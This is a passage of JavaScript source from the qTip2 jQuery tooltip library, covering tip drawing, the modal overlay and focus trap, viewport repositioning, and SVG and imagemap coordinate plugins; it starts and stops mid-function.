			coords, bigCoords, translate, newSize, border;

		// Re-determine tip if not already set
		if(!corner) { corner = this.qtip.cache.corner || this.corner; }

		// Use corner property if we detect an invalid mimic value
		if(mimic === FALSE) { mimic = corner; }

		// Otherwise inherit mimic properties from the corner object as necessary
		else {
			mimic = new CORNER(mimic);
			mimic.precedance = corner.precedance;

			if(mimic.x === 'inherit') { mimic.x = corner.x; }
			else if(mimic.y === 'inherit') { mimic.y = corner.y; }
			else if(mimic.x === mimic.y) {
				mimic[ corner.precedance ] = corner[ corner.precedance ];
			}
		}
		precedance = mimic.precedance;

		// Ensure the tip width.height are relative to the tip position
		if(corner.precedance === X) { this._swapDimensions(); }
		else { this._resetDimensions(); }

		// Update our colours
		color = this.color = this._parseColours(corner);

		// Detect border width, taking into account colours
		if(color[1] !== TRANSPARENT) {
			// Grab border width
			border = this.border = this._parseWidth(corner, corner[corner.precedance]);

			// If border width isn't zero, use border color as fill if it's not invalid (1.0 style tips)
			if(options.border && border < 1 && !INVALID.test(color[1])) { color[0] = color[1]; }

			// Set border width (use detected border width if options.border is true)
			this.border = border = options.border !== TRUE ? options.border : border;
		}

		// Border colour was invalid, set border to zero
		else { this.border = border = 0; }

		// Determine tip size
		newSize = this.size = this._calculateSize(corner);
		tip.css({
			width: newSize[0],
			height: newSize[1],
			lineHeight: newSize[1]+'px'
		});

		// Calculate tip translation
		if(corner.precedance === Y) {
			translate = [
				round(mimic.x === LEFT ? border : mimic.x === RIGHT ? newSize[0] - curSize[0] - border : (newSize[0] - curSize[0]) / 2),
				round(mimic.y === TOP ? newSize[1] - curSize[1] : 0)
			];
		}
		else {
			translate = [
				round(mimic.x === LEFT ? newSize[0] - curSize[0] : 0),
				round(mimic.y === TOP ? border : mimic.y === BOTTOM ? newSize[1] - curSize[1] - border : (newSize[1] - curSize[1]) / 2)
			];
		}

		// Canvas drawing implementation
		if(HASCANVAS) {
			// Grab canvas context and clear/save it
			context = inner[0].getContext('2d');
			context.restore(); context.save();
			context.clearRect(0,0,6000,6000);

			// Calculate coordinates
			coords = this._calculateTip(mimic, curSize, SCALE);
			bigCoords = this._calculateTip(mimic, this.size, SCALE);

			// Set the canvas size using calculated size
			inner.attr(WIDTH, newSize[0] * SCALE).attr(HEIGHT, newSize[1] * SCALE);
			inner.css(WIDTH, newSize[0]).css(HEIGHT, newSize[1]);

			// Draw the outer-stroke tip
			this._drawCoords(context, bigCoords);
			context.fillStyle = color[1];
			context.fill();

			// Draw the actual tip
			context.translate(translate[0] * SCALE, translate[1] * SCALE);
			this._drawCoords(context, coords);
			context.fillStyle = color[0];
			context.fill();
		}

		// VML (IE Proprietary implementation)
		else {
			// Calculate coordinates
			coords = this._calculateTip(mimic);

			// Setup coordinates string
			coords = 'm' + coords[0] + ',' + coords[1] + ' l' + coords[2] +
				',' + coords[3] + ' ' + coords[4] + ',' + coords[5] + ' xe';

			// Setup VML-specific offset for pixel-perfection
			translate[2] = border && /^(r|b)/i.test(corner.string()) ?
				BROWSER.ie === 8 ? 2 : 1 : 0;

			// Set initial CSS
			inner.css({
				coordsize: newSize[0]+border + ' ' + newSize[1]+border,
				antialias: ''+(mimic.string().indexOf(CENTER) > -1),
				left: translate[0] - translate[2] * Number(precedance === X),
				top: translate[1] - translate[2] * Number(precedance === Y),
				width: newSize[0] + border,
				height: newSize[1] + border
			})
			.each(function(i) {
				var $this = $(this);

				// Set shape specific attributes
				$this[ $this.prop ? 'prop' : 'attr' ]({
					coordsize: newSize[0]+border + ' ' + newSize[1]+border,
					path: coords,
					fillcolor: color[0],
					filled: !!i,
					stroked: !i
				})
				.toggle(!!(border || i));

				// Check if border is enabled and add stroke element
				!i && $this.html( createVML(
					'stroke', 'weight="'+border*2+'px" color="'+color[1]+'" miterlimit="1000" joinstyle="miter"'
				) );
			});
		}

		// Opera bug #357 - Incorrect tip position
		// https://github.com/Craga89/qTip2/issues/367
		window.opera && setTimeout(function() {
			elements.tip.css({
				display: 'inline-block',
				visibility: 'visible'
			});
		}, 1);

		// Position if needed
		if(position !== FALSE) { this.calculate(corner, newSize); }
	},

	calculate: function(corner, size) {
		if(!this.enabled) { return FALSE; }

		var self = this,
			elements = this.qtip.elements,
			tip = this.element,
			userOffset = this.options.offset,
			position = {},
			precedance, corners;

		// Inherit corner if not provided
		corner = corner || this.corner;
		precedance = corner.precedance;

		// Determine which tip dimension to use for adjustment
		size = size || this._calculateSize(corner);

		// Setup corners and offset array
		corners = [ corner.x, corner.y ];
		if(precedance === X) { corners.reverse(); }

		// Calculate tip position
		$.each(corners, function(i, side) {
			var b, bc, br;

			if(side === CENTER) {
				b = precedance === Y ? LEFT : TOP;
				position[ b ] = '50%';
				position[MARGIN+'-' + b] = -Math.round(size[ precedance === Y ? 0 : 1 ] / 2) + userOffset;
			}
			else {
				b = self._parseWidth(corner, side, elements.tooltip);
				bc = self._parseWidth(corner, side, elements.content);
				br = self._parseRadius(corner);

				position[ side ] = Math.max(-self.border, i ? bc : userOffset + (br > b ? br : -b));
			}
		});

		// Adjust for tip size
		position[ corner[precedance] ] -= size[ precedance === X ? 0 : 1 ];

		// Set and return new position
		tip.css({ margin: '', top: '', bottom: '', left: '', right: '' }).css(position);
		return position;
	},

	reposition: function(event, api, pos) {
		if(!this.enabled) { return; }

		var cache = api.cache,
			newCorner = this.corner.clone(),
			adjust = pos.adjusted,
			method = api.options.position.adjust.method.split(' '),
			horizontal = method[0],
			vertical = method[1] || method[0],
			shift = { left: FALSE, top: FALSE, x: 0, y: 0 },
			offset, css = {}, props;

		function shiftflip(direction, precedance, popposite, side, opposite) {
			// Horizontal - Shift or flip method
			if(direction === SHIFT && newCorner.precedance === precedance && adjust[side] && newCorner[popposite] !== CENTER) {
				newCorner.precedance = newCorner.precedance === X ? Y : X;
			}
			else if(direction !== SHIFT && adjust[side]){
				newCorner[precedance] = newCorner[precedance] === CENTER ?
					adjust[side] > 0 ? side : opposite :
					newCorner[precedance] === side ? opposite : side;
			}
		}

		function shiftonly(xy, side, opposite) {
			if(newCorner[xy] === CENTER) {
				css[MARGIN+'-'+side] = shift[xy] = offset[MARGIN+'-'+side] - adjust[side];
			}
			else {
				props = offset[opposite] !== undefined ?
					[ adjust[side], -offset[side] ] : [ -adjust[side], offset[side] ];

				if( (shift[xy] = Math.max(props[0], props[1])) > props[0] ) {
					pos[side] -= adjust[side];
					shift[side] = FALSE;
				}

				css[ offset[opposite] !== undefined ? opposite : side ] = shift[xy];
			}
		}

		// If our tip position isn't fixed e.g. doesn't adjust with viewport...
		if(this.corner.fixed !== TRUE) {
			// Perform shift/flip adjustments
			shiftflip(horizontal, X, Y, LEFT, RIGHT);
			shiftflip(vertical, Y, X, TOP, BOTTOM);

			// Update and redraw the tip if needed (check cached details of last drawn tip)
			if(newCorner.string() !== cache.corner.string() || cache.cornerTop !== adjust.top || cache.cornerLeft !== adjust.left) {
				this.update(newCorner, FALSE);
			}
		}

		// Setup tip offset properties
		offset = this.calculate(newCorner);

		// Readjust offset object to make it left/top
		if(offset.right !== undefined) { offset.left = -offset.right; }
		if(offset.bottom !== undefined) { offset.top = -offset.bottom; }
		offset.user = this.offset;

		// Perform shift adjustments
		shift.left = horizontal === SHIFT && !!adjust.left;
		if(shift.left) {
			shiftonly(X, LEFT, RIGHT);
		}
		shift.top = vertical === SHIFT && !!adjust.top;
		if(shift.top) {
			shiftonly(Y, TOP, BOTTOM);
		}

		/*
		* If the tip is adjusted in both dimensions, or in a
		* direction that would cause it to be anywhere but the
		* outer border, hide it!
		*/
		this.element.css(css).toggle(
			!(shift.x && shift.y || newCorner.x === CENTER && shift.y || newCorner.y === CENTER && shift.x)
		);

		// Adjust position to accomodate tip dimensions
		pos.left -= offset.left.charAt ? offset.user :
			horizontal !== SHIFT || shift.top || !shift.left && !shift.top ? offset.left + this.border : 0;
		pos.top -= offset.top.charAt ? offset.user :
			vertical !== SHIFT || shift.left || !shift.left && !shift.top ? offset.top + this.border : 0;

		// Cache details
		cache.cornerLeft = adjust.left; cache.cornerTop = adjust.top;
		cache.corner = newCorner.clone();
	},

	destroy: function() {
		// Unbind events
		this.qtip._unbind(this.qtip.tooltip, this._ns);

		// Remove the tip element(s)
		if(this.qtip.elements.tip) {
			this.qtip.elements.tip.find('*')
				.remove().end().remove();
		}
	}
});

TIP = PLUGINS.tip = function(api) {
	return new Tip(api, api.options.style.tip);
};

// Initialize tip on render
TIP.initialize = 'render';

// Setup plugin sanitization options
TIP.sanitize = function(options) {
	if(options.style && 'tip' in options.style) {
		var opts = options.style.tip;
		if(typeof opts !== 'object') { opts = options.style.tip = { corner: opts }; }
		if(!(/string|boolean/i).test(typeof opts.corner)) { opts.corner = TRUE; }
	}
};

// Add new option checks for the plugin
CHECKS.tip = {
	'^position.my|style.tip.(corner|mimic|border)$': function() {
		// Make sure a tip can be drawn
		this.create();

		// Reposition the tooltip
		this.qtip.reposition();
	},
	'^style.tip.(height|width)$': function(obj) {
		// Re-set dimensions and redraw the tip
		this.size = [ obj.width, obj.height ];
		this.update();

		// Reposition the tooltip
		this.qtip.reposition();
	},
	'^content.title|style.(classes|widget)$': function() {
		this.update();
	}
};

// Extend original qTip defaults
$.extend(TRUE, QTIP.defaults, {
	style: {
		tip: {
			corner: TRUE,
			mimic: FALSE,
			width: 6,
			height: 6,
			border: TRUE,
			offset: 0
		}
	}
});
;var MODAL, OVERLAY,
	MODALCLASS = 'qtip-modal',
	MODALSELECTOR = '.'+MODALCLASS;

OVERLAY = function()
{
	var self = this,
		focusableElems = {},
		current,
		prevState,
		elem;

	// Modified code from jQuery UI 1.10.0 source
	// http://code.jquery.com/ui/1.10.0/jquery-ui.js
	function focusable(element) {
		// Use the defined focusable checker when possible
		if($.expr[':'].focusable) { return $.expr[':'].focusable; }

		var isTabIndexNotNaN = !isNaN($.attr(element, 'tabindex')),
			nodeName = element.nodeName && element.nodeName.toLowerCase(),
			map, mapName, img;

		if('area' === nodeName) {
			map = element.parentNode;
			mapName = map.name;
			if(!element.href || !mapName || map.nodeName.toLowerCase() !== 'map') {
				return false;
			}
			img = $('img[usemap=#' + mapName + ']')[0];
			return !!img && img.is(':visible');
		}

		return /input|select|textarea|button|object/.test( nodeName ) ?
			!element.disabled :
			'a' === nodeName ?
				element.href || isTabIndexNotNaN :
				isTabIndexNotNaN
		;
	}

	// Focus inputs using cached focusable elements (see update())
	function focusInputs(blurElems) {
		// Blurring body element in IE causes window.open windows to unfocus!
		if(focusableElems.length < 1 && blurElems.length) { blurElems.not('body').blur(); }

		// Focus the inputs
		else { focusableElems.first().focus(); }
	}

	// Steal focus from elements outside tooltip
	function stealFocus(event) {
		if(!elem.is(':visible')) { return; }

		var target = $(event.target),
			tooltip = current.tooltip,
			container = target.closest(SELECTOR),
			targetOnTop;

		// Determine if input container target is above this
		targetOnTop = container.length < 1 ? FALSE :
			parseInt(container[0].style.zIndex, 10) > parseInt(tooltip[0].style.zIndex, 10);

		// If we're showing a modal, but focus has landed on an input below
		// this modal, divert focus to the first visible input in this modal
		// or if we can't find one... the tooltip itself
		if(!targetOnTop && target.closest(SELECTOR)[0] !== tooltip[0]) {
			focusInputs(target);
		}
	}

	$.extend(self, {
		init: function() {
			// Create document overlay
			elem = self.elem = $('<div />', {
				id: 'qtip-overlay',
				html: '<div></div>',
				mousedown: function() { return FALSE; }
			})
			.hide();

			// Make sure we can't focus anything outside the tooltip
			$(document.body).bind('focusin'+MODALSELECTOR, stealFocus);

			// Apply keyboard "Escape key" close handler
			$(document).bind('keydown'+MODALSELECTOR, function(event) {
				if(current && current.options.show.modal.escape && event.keyCode === 27) {
					current.hide(event);
				}
			});

			// Apply click handler for blur option
			elem.bind('click'+MODALSELECTOR, function(event) {
				if(current && current.options.show.modal.blur) {
					current.hide(event);
				}
			});

			return self;
		},

		update: function(api) {
			// Update current API reference
			current = api;

			// Update focusable elements if enabled
			if(api.options.show.modal.stealfocus !== FALSE) {
				focusableElems = api.tooltip.find('*').filter(function() {
					return focusable(this);
				});
			}
			else { focusableElems = []; }
		},

		toggle: function(api, state, duration) {
			var tooltip = api.tooltip,
				options = api.options.show.modal,
				effect = options.effect,
				type = state ? 'show': 'hide',
				visible = elem.is(':visible'),
				visibleModals = $(MODALSELECTOR).filter(':visible:not(:animated)').not(tooltip);

			// Set active tooltip API reference
			self.update(api);

			// If the modal can steal the focus...
			// Blur the current item and focus anything in the modal we an
			if(state && options.stealfocus !== FALSE) {
				focusInputs( $(':focus') );
			}

			// Toggle backdrop cursor style on show
			elem.toggleClass('blurs', options.blur);

			// Append to body on show
			if(state) {
				elem.appendTo(document.body);
			}

			// Prevent modal from conflicting with show.solo, and don't hide backdrop is other modals are visible
			if(elem.is(':animated') && visible === state && prevState !== FALSE || !state && visibleModals.length) {
				return self;
			}

			// Stop all animations
			elem.stop(TRUE, FALSE);

			// Use custom function if provided
			if($.isFunction(effect)) {
				effect.call(elem, state);
			}

			// If no effect type is supplied, use a simple toggle
			else if(effect === FALSE) {
				elem[ type ]();
			}

			// Use basic fade function
			else {
				elem.fadeTo( parseInt(duration, 10) || 90, state ? 1 : 0, function() {
					if(!state) { elem.hide(); }
				});
			}

			// Reset position and detach from body on hide
			if(!state) {
				elem.queue(function(next) {
					elem.css({ left: '', top: '' });
					if(!$(MODALSELECTOR).length) { elem.detach(); }
					next();
				});
			}

			// Cache the state
			prevState = state;

			// If the tooltip is destroyed, set reference to null
			if(current.destroyed) { current = NULL; }

			return self;
		}
	});

	self.init();
};
OVERLAY = new OVERLAY();

function Modal(api, options) {
	this.options = options;
	this._ns = '-modal';

	this.qtip = api;
	this.init(api);
}

$.extend(Modal.prototype, {
	init: function(qtip) {
		var tooltip = qtip.tooltip;

		// If modal is disabled... return
		if(!this.options.on) { return this; }

		// Set overlay reference
		qtip.elements.overlay = OVERLAY.elem;

		// Add unique attribute so we can grab modal tooltips easily via a SELECTOR, and set z-index
		tooltip.addClass(MODALCLASS).css('z-index', QTIP.modal_zindex + $(MODALSELECTOR).length);

		// Apply our show/hide/focus modal events
		qtip._bind(tooltip, ['tooltipshow', 'tooltiphide'], function(event, api, duration) {
			var oEvent = event.originalEvent;

			// Make sure mouseout doesn't trigger a hide when showing the modal and mousing onto backdrop
			if(event.target === tooltip[0]) {
				if(oEvent && event.type === 'tooltiphide' && /mouse(leave|enter)/.test(oEvent.type) && $(oEvent.relatedTarget).closest(OVERLAY.elem[0]).length) {
					/* eslint-disable no-empty */
					try { event.preventDefault(); }
					catch(e) {}
					/* eslint-enable no-empty */
				}
				else if(!oEvent || oEvent && oEvent.type !== 'tooltipsolo') {
					this.toggle(event, event.type === 'tooltipshow', duration);
				}
			}
		}, this._ns, this);

		// Adjust modal z-index on tooltip focus
		qtip._bind(tooltip, 'tooltipfocus', function(event, api) {
			// If focus was cancelled before it reached us, don't do anything
			if(event.isDefaultPrevented() || event.target !== tooltip[0]) { return; }

			var qtips = $(MODALSELECTOR),

			// Keep the modal's lower than other, regular qtips
			newIndex = QTIP.modal_zindex + qtips.length,
			curIndex = parseInt(tooltip[0].style.zIndex, 10);

			// Set overlay z-index
			OVERLAY.elem[0].style.zIndex = newIndex - 1;

			// Reduce modal z-index's and keep them properly ordered
			qtips.each(function() {
				if(this.style.zIndex > curIndex) {
					this.style.zIndex -= 1;
				}
			});

			// Fire blur event for focused tooltip
			qtips.filter('.' + CLASS_FOCUS).qtip('blur', event.originalEvent);

			// Set the new z-index
			tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex;

			// Set current
			OVERLAY.update(api);

			// Prevent default handling
			/* eslint-disable no-empty */
			try { event.preventDefault(); }
			catch(e) {}
			/* eslint-enable no-empty */
		}, this._ns, this);

		// Focus any other visible modals when this one hides
		qtip._bind(tooltip, 'tooltiphide', function(event) {
			if(event.target === tooltip[0]) {
				$(MODALSELECTOR).filter(':visible').not(tooltip).last().qtip('focus', event);
			}
		}, this._ns, this);
	},

	toggle: function(event, state, duration) {
		// Make sure default event hasn't been prevented
		if(event && event.isDefaultPrevented()) { return this; }

		// Toggle it
		OVERLAY.toggle(this.qtip, !!state, duration);
	},

	destroy: function() {
		// Remove modal class
		this.qtip.tooltip.removeClass(MODALCLASS);

		// Remove bound events
		this.qtip._unbind(this.qtip.tooltip, this._ns);

		// Delete element reference
		OVERLAY.toggle(this.qtip, FALSE);
		delete this.qtip.elements.overlay;
	}
});


MODAL = PLUGINS.modal = function(api) {
	return new Modal(api, api.options.show.modal);
};

// Setup sanitiztion rules
MODAL.sanitize = function(opts) {
	if(opts.show) {
		if(typeof opts.show.modal !== 'object') { opts.show.modal = { on: !!opts.show.modal }; }
		else if(typeof opts.show.modal.on === 'undefined') { opts.show.modal.on = TRUE; }
	}
};

// Base z-index for all modal tooltips (use qTip core z-index as a base)
/* eslint-disable camelcase */
QTIP.modal_zindex = QTIP.zindex - 200;
/* eslint-enable camelcase */

// Plugin needs to be initialized on render
MODAL.initialize = 'render';

// Setup option set checks
CHECKS.modal = {
	'^show.modal.(on|blur)$': function() {
		// Initialise
		this.destroy();
		this.init();

		// Show the modal if not visible already and tooltip is visible
		this.qtip.elems.overlay.toggle(
			this.qtip.tooltip[0].offsetWidth > 0
		);
	}
};

// Extend original api defaults
$.extend(TRUE, QTIP.defaults, {
	show: {
		modal: {
			on: FALSE,
			effect: TRUE,
			blur: TRUE,
			stealfocus: TRUE,
			escape: TRUE
		}
	}
});
;PLUGINS.viewport = function(api, position, posOptions, targetWidth, targetHeight, elemWidth, elemHeight)
{
	var target = posOptions.target,
		tooltip = api.elements.tooltip,
		my = posOptions.my,
		at = posOptions.at,
		adjust = posOptions.adjust,
		method = adjust.method.split(' '),
		methodX = method[0],
		methodY = method[1] || method[0],
		viewport = posOptions.viewport,
		container = posOptions.container,
		adjusted = { left: 0, top: 0 },
		fixed, newMy, containerOffset, containerStatic,
		viewportWidth, viewportHeight, viewportScroll, viewportOffset;

	// If viewport is not a jQuery element, or it's the window/document, or no adjustment method is used... return
	if(!viewport.jquery || target[0] === window || target[0] === document.body || adjust.method === 'none') {
		return adjusted;
	}

	// Cach container details
	containerOffset = container.offset() || adjusted;
	containerStatic = container.css('position') === 'static';

	// Cache our viewport details
	fixed = tooltip.css('position') === 'fixed';
	viewportWidth = viewport[0] === window ? viewport.width() : viewport.outerWidth(FALSE);
	viewportHeight = viewport[0] === window ? viewport.height() : viewport.outerHeight(FALSE);
	viewportScroll = { left: fixed ? 0 : viewport.scrollLeft(), top: fixed ? 0 : viewport.scrollTop() };
	viewportOffset = viewport.offset() || adjusted;

	// Generic calculation method
	function calculate(side, otherSide, type, adjustment, side1, side2, lengthName, targetLength, elemLength) {
		var initialPos = position[side1],
			mySide = my[side],
			atSide = at[side],
			isShift = type === SHIFT,
			myLength = mySide === side1 ? elemLength : mySide === side2 ? -elemLength : -elemLength / 2,
			atLength = atSide === side1 ? targetLength : atSide === side2 ? -targetLength : -targetLength / 2,
			sideOffset = viewportScroll[side1] + viewportOffset[side1] - (containerStatic ? 0 : containerOffset[side1]),
			overflow1 = sideOffset - initialPos,
			overflow2 = initialPos + elemLength - (lengthName === WIDTH ? viewportWidth : viewportHeight) - sideOffset,
			offset = myLength - (my.precedance === side || mySide === my[otherSide] ? atLength : 0) - (atSide === CENTER ? targetLength / 2 : 0);

		// shift
		if(isShift) {
			offset = (mySide === side1 ? 1 : -1) * myLength;

			// Adjust position but keep it within viewport dimensions
			position[side1] += overflow1 > 0 ? overflow1 : overflow2 > 0 ? -overflow2 : 0;
			position[side1] = Math.max(
				-containerOffset[side1] + viewportOffset[side1],
				initialPos - offset,
				Math.min(
					Math.max(
						-containerOffset[side1] + viewportOffset[side1] + (lengthName === WIDTH ? viewportWidth : viewportHeight),
						initialPos + offset
					),
					position[side1],

					// Make sure we don't adjust complete off the element when using 'center'
					mySide === 'center' ? initialPos - myLength : 1E9
				)
			);

		}

		// flip/flipinvert
		else {
			// Update adjustment amount depending on if using flipinvert or flip
			adjustment *= type === FLIPINVERT ? 2 : 0;

			// Check for overflow on the left/top
			if(overflow1 > 0 && (mySide !== side1 || overflow2 > 0)) {
				position[side1] -= offset + adjustment;
				newMy.invert(side, side1);
			}

			// Check for overflow on the bottom/right
			else if(overflow2 > 0 && (mySide !== side2 || overflow1 > 0)  ) {
				position[side1] -= (mySide === CENTER ? -offset : offset) + adjustment;
				newMy.invert(side, side2);
			}

			// Make sure we haven't made things worse with the adjustment and reset if so
			if(position[side1] < viewportScroll[side1] && -position[side1] > overflow2) {
				position[side1] = initialPos; newMy = my.clone();
			}
		}

		return position[side1] - initialPos;
	}

	// Set newMy if using flip or flipinvert methods
	if(methodX !== 'shift' || methodY !== 'shift') { newMy = my.clone(); }

	// Adjust position based onviewport and adjustment options
	adjusted = {
		left: methodX !== 'none' ? calculate( X, Y, methodX, adjust.x, LEFT, RIGHT, WIDTH, targetWidth, elemWidth ) : 0,
		top: methodY !== 'none' ? calculate( Y, X, methodY, adjust.y, TOP, BOTTOM, HEIGHT, targetHeight, elemHeight ) : 0,
		my: newMy
	};

	return adjusted;
};
;PLUGINS.polys = {
	// POLY area coordinate calculator
	//	Special thanks to Ed Cradock for helping out with this.
	//	Uses a binary search algorithm to find suitable coordinates.
	polygon: function(baseCoords, corner) {
		var result = {
			width: 0, height: 0,
			position: {
				top: 1e10, right: 0,
				bottom: 0, left: 1e10
			},
			adjustable: FALSE
		},
		i = 0, next,
		coords = [],
		compareX = 1, compareY = 1,
		realX = 0, realY = 0,
		newWidth, newHeight;

		// First pass, sanitize coords and determine outer edges
		i = baseCoords.length; 
		while(i--) {
			next = [ parseInt(baseCoords[--i], 10), parseInt(baseCoords[i+1], 10) ];

			if(next[0] > result.position.right){ result.position.right = next[0]; }
			if(next[0] < result.position.left){ result.position.left = next[0]; }
			if(next[1] > result.position.bottom){ result.position.bottom = next[1]; }
			if(next[1] < result.position.top){ result.position.top = next[1]; }

			coords.push(next);
		}

		// Calculate height and width from outer edges
		newWidth = result.width = Math.abs(result.position.right - result.position.left);
		newHeight = result.height = Math.abs(result.position.bottom - result.position.top);

		// If it's the center corner...
		if(corner.abbrev() === 'c') {
			result.position = {
				left: result.position.left + result.width / 2,
				top: result.position.top + result.height / 2
			};
		}
		else {
			// Second pass, use a binary search algorithm to locate most suitable coordinate
			while(newWidth > 0 && newHeight > 0 && compareX > 0 && compareY > 0)
			{
				newWidth = Math.floor(newWidth / 2);
				newHeight = Math.floor(newHeight / 2);

				if(corner.x === LEFT){ compareX = newWidth; }
				else if(corner.x === RIGHT){ compareX = result.width - newWidth; }
				else{ compareX += Math.floor(newWidth / 2); }

				if(corner.y === TOP){ compareY = newHeight; }
				else if(corner.y === BOTTOM){ compareY = result.height - newHeight; }
				else{ compareY += Math.floor(newHeight / 2); }

				i = coords.length;
				while(i--)
				{
					if(coords.length < 2){ break; }

					realX = coords[i][0] - result.position.left;
					realY = coords[i][1] - result.position.top;

					if(
						corner.x === LEFT && realX >= compareX ||
						corner.x === RIGHT && realX <= compareX ||
						corner.x === CENTER && (realX < compareX || realX > result.width - compareX) ||
						corner.y === TOP && realY >= compareY ||
						corner.y === BOTTOM && realY <= compareY ||
						corner.y === CENTER && (realY < compareY || realY > result.height - compareY)) {
						coords.splice(i, 1);
					}
				}
			}
			result.position = { left: coords[0][0], top: coords[0][1] };
		}

		return result;
	},

	rect: function(ax, ay, bx, by) {
		return {
			width: Math.abs(bx - ax),
			height: Math.abs(by - ay),
			position: {
				left: Math.min(ax, bx),
				top: Math.min(ay, by)
			}
		};
	},

	_angles: {
		tc: 3 / 2, tr: 7 / 4, tl: 5 / 4,
		bc: 1 / 2, br: 1 / 4, bl: 3 / 4,
		rc: 2, lc: 1, c: 0
	},
	ellipse: function(cx, cy, rx, ry, corner) {
		var c = PLUGINS.polys._angles[ corner.abbrev() ],
			rxc = c === 0 ? 0 : rx * Math.cos( c * Math.PI ),
			rys = ry * Math.sin( c * Math.PI );

		return {
			width: rx * 2 - Math.abs(rxc),
			height: ry * 2 - Math.abs(rys),
			position: {
				left: cx + rxc,
				top: cy + rys
			},
			adjustable: FALSE
		};
	},
	circle: function(cx, cy, r, corner) {
		return PLUGINS.polys.ellipse(cx, cy, r, r, corner);
	}
};
;PLUGINS.svg = function(api, svg, corner)
{
	var elem = svg[0],
		root = $(elem.ownerSVGElement),
		ownerDocument = elem.ownerDocument,
		strokeWidth2 = (parseInt(svg.css('stroke-width'), 10) || 0) / 2,
		frameOffset, mtx, transformed,
		len, next, i, points,
		result, position;

	// Ascend the parentNode chain until we find an element with getBBox()
	while(!elem.getBBox) { elem = elem.parentNode; }
	if(!elem.getBBox || !elem.parentNode) { return FALSE; }

	// Determine which shape calculation to use
	switch(elem.nodeName) {
		case 'ellipse':
		case 'circle':
			result = PLUGINS.polys.ellipse(
				elem.cx.baseVal.value,
				elem.cy.baseVal.value,
				(elem.rx || elem.r).baseVal.value + strokeWidth2,
				(elem.ry || elem.r).baseVal.value + strokeWidth2,
				corner
			);
		break;

		case 'line':
		case 'polygon':
		case 'polyline':
			// Determine points object (line has none, so mimic using array)
			points = elem.points || [
				{ x: elem.x1.baseVal.value, y: elem.y1.baseVal.value },
				{ x: elem.x2.baseVal.value, y: elem.y2.baseVal.value }
			];

			for(result = [], i = -1, len = points.numberOfItems || points.length; ++i < len;) {
				next = points.getItem ? points.getItem(i) : points[i];
				result.push.apply(result, [next.x, next.y]);
			}

			result = PLUGINS.polys.polygon(result, corner);
		break;

		// Unknown shape or rectangle? Use bounding box
		default:
			result = elem.getBBox();
			result = {
				width: result.width,
				height: result.height,
				position: {
					left: result.x,
					top: result.y
				}
			};
		break;
	}

	// Shortcut assignments
	position = result.position;
	root = root[0];

	// Convert position into a pixel value
	if(root.createSVGPoint) {
		mtx = elem.getScreenCTM();
		points = root.createSVGPoint();

		points.x = position.left;
		points.y = position.top;
		transformed = points.matrixTransform( mtx );
		position.left = transformed.x;
		position.top = transformed.y;
	}

	// Check the element is not in a child document, and if so, adjust for frame elements offset
	if(ownerDocument !== document && api.position.target !== 'mouse') {
		frameOffset = $((ownerDocument.defaultView || ownerDocument.parentWindow).frameElement).offset();
		if(frameOffset) {
			position.left += frameOffset.left;
			position.top += frameOffset.top;
		}
	}

	// Adjust by scroll offset of owner document
	ownerDocument = $(ownerDocument);
	position.left += ownerDocument.scrollLeft();
	position.top += ownerDocument.scrollTop();

	return result;
};
;PLUGINS.imagemap = function(api, area, corner)
{
	if(!area.jquery) { area = $(area); }

	var shape = (area.attr('shape') || 'rect').toLowerCase().replace('poly', 'polygon'),
		image = $('img[usemap="#'+area.parent('map').attr('name')+'"]'),
		coordsString = $.trim(area.attr('coords')),
		coordsArray = coordsString.replace(/,$/, '').split(','),
		imageOffset, coords, i, result, len;

	// If we can't find the image using the map...
	if(!image.length) { return FALSE; }

	// Pass coordinates string if polygon
	if(shape === 'polygon') {
		result = PLUGINS.polys.polygon(coordsArray, corner);
	}

	// Otherwise parse the coordinates and pass them as arguments
	else if(PLUGINS.polys[shape]) {
		for(i = -1, len = coordsArray.length, coords = []; ++i < len;) {
			coords.push( parseInt(coordsArray[i], 10) );
		}

		result = PLUGINS.polys[shape].apply(
			this, coords.concat(corner)
		);
	}

	// If no shapre calculation method was found, return false
	else { return FALSE; }

	// Make sure we account for padding and borders on the image
	imageOffset = image.offset();
	imageOffset.left += Math.ceil((image.outerWidth(FALSE) - image.width()) / 2);
	imageOffset.top += Math.ceil((image.outerHeight(FALSE) - image.height()) / 2);

	// Add image position to offset coordinates
	result.position.left += imageOffset.left;
	result.position.top += imageOffset.top;

	return result;
};
;var IE6,

/*
 * BGIFrame adaption (http://plugins.jquery.com/project/bgiframe)
 * Special thanks to Brandon Aaron
 */
BGIFRAME = '<iframe class="qtip-bgiframe" frameborder="0" tabindex="-1" src="javascript:\'\';" ' +
	' style="display:block; position:absolute; z-index:-1; filter:alpha(opacity=0); ' +
		'-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";"></iframe>';

function Ie6(api) {
	this._ns = 'ie6';

	this.qtip = api;
	this.init(api);
}

$.extend(Ie6.prototype, {
	_scroll : function() {
		var overlay = this.qtip.elements.overlay;
		overlay && (overlay[0].style.top = $(window).scrollTop() + 'px');
	},

	init: function(qtip) {
		var tooltip = qtip.tooltip;

		// Create the BGIFrame element if needed
		if($('select, object').length < 1) {
			this.bgiframe = qtip.elements.bgiframe = $(BGIFRAME).appendTo(tooltip);

			// Update BGIFrame on tooltip move
			qtip._bind(tooltip, 'tooltipmove', this.adjustBGIFrame, this._ns, this);
		}

		// redraw() container for width/height calculations
		this.redrawContainer = $('<div/>', { id: NAMESPACE+'-rcontainer' })
			.appendTo(document.body);

		// Fixup modal plugin if present too
		if( qtip.elements.overlay && qtip.elements.overlay.addClass('qtipmodal-ie6fix') ) {
			qtip._bind(window, ['scroll', 'resize'], this._scroll, this._ns, this);
			qtip._bind(tooltip, ['tooltipshow'], this._scroll, this._ns, this);
		}

		// Set dimensions
		this.redraw();
	},

	adjustBGIFrame: function() {
		var tooltip = this.qtip.tooltip,
			dimensions = {
				height: tooltip.outerHeight(FALSE),
				width: tooltip.outerWidth(FALSE)
			},
			plugin = this.qtip.plugins.tip,
			tip = this.qtip.elements.tip,
			tipAdjust, offset;

		// Adjust border offset
		offset = parseInt(tooltip.css('borderLeftWidth'), 10) || 0;
		offset = { left: -offset, top: -offset };

		// Adjust for tips plugin
		if(plugin && tip) {
			tipAdjust = plugin.corner.precedance === 'x' ? [WIDTH, LEFT] : [HEIGHT, TOP];
			offset[ tipAdjust[1] ] -= tip[ tipAdjust[0] ]();
		}

		// Update bgiframe
		this.bgiframe.css(offset).css(dimensions);
	},

	// Max/min width simulator function
	redraw: function() {
